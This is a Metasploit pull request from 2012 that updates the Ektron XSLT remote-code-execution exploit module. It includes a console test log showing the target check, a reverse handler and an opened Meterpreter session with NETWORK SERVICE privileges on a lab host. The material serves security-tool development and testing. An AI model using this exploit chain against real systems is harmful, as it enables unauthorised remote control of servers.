rapid7/metasploit-framework — pull request #1156 by jvazquez-r7 (2012-12-11 15:36:46+00:00)
Title: added c# code by Nicolas Gregoire

Used the C# code by Nicolas Gregoire to avoid dropping shellcode to filesystem. See:

https://dev.metasploit.com/redmine/issues/6784

Nicolas credited in the module too.

Test:

msf > use exploit/windows/http/ektron_xslt_exec
msf exploit(ektron_xslt_exec) > reload
[*] Reloading module...
msf exploit(ektron_xslt_exec) > set RHOST 192.168.1.139
RHOST => 192.168.1.139
msf exploit(ektron_xslt_exec) > check
[+] The target is vulnerable.
msf exploit(ektron_xslt_exec) > exploit

[*] Started reverse handler on 192.168.1.129:4444
[*] Generating the EXE Payload and the XSLT...
[*] Trying to run the xslt transformation...
[+] Exploitation was successful
[*] Sending stage (752128 bytes) to 192.168.1.139
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.139:2090) at 2012-12-11 16:32:43 +0100

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.139 - Meterpreter session 1 closed. Reason: User exit